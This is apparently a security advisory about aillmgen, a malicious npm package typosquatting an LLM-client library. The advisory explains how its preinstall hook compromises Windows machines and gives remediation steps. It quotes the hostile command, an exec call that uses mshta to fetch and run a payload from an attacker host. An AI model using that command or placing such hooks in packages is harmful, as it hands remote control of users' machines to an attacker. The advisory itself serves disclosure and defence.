aillmgennpm
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aillmgen is a confirmed malicious npm package (MAL-2026-5927) that typosquats a legitimate package to trick installs (malicious version 4.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in aillmgen (npm)
What this malware does
On npm install, the package's preinstall hook (preinstall.js) runs exec('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta.exe binary to fetch and execute an HTA payload from http://fixars.top with the installer's privileges. mshta is a well-known living-off-the-land binary that executes arbitrary HTA/JScript/VBScript content directly from a remote URL, giving the operator of fixars.top remote code execution on any Windows machine that installs this package. The remote endpoint is plain HTTP and attacker-mutable, and the behavior is unrelated to the package's stated LLM-client purpose (the library code references an EasyLLMClient targeting api.easyllm.ai while the package itself is published under the unrelated name aillmgen with empty author and description metadata). The combination of install-time RCE, plaintext attacker-controlled fetch-and-execute, impersonation of an LLM-client utility, and placeholder publisher metadata is a supply-chain dropper.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for aillmgen (version 4.0.2).
If you installed it — respond
aillmgen is a typosquat — you almost certainly intended a legitimately-named package. Remove aillmgen, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If aillmgen was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks aillmgen-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.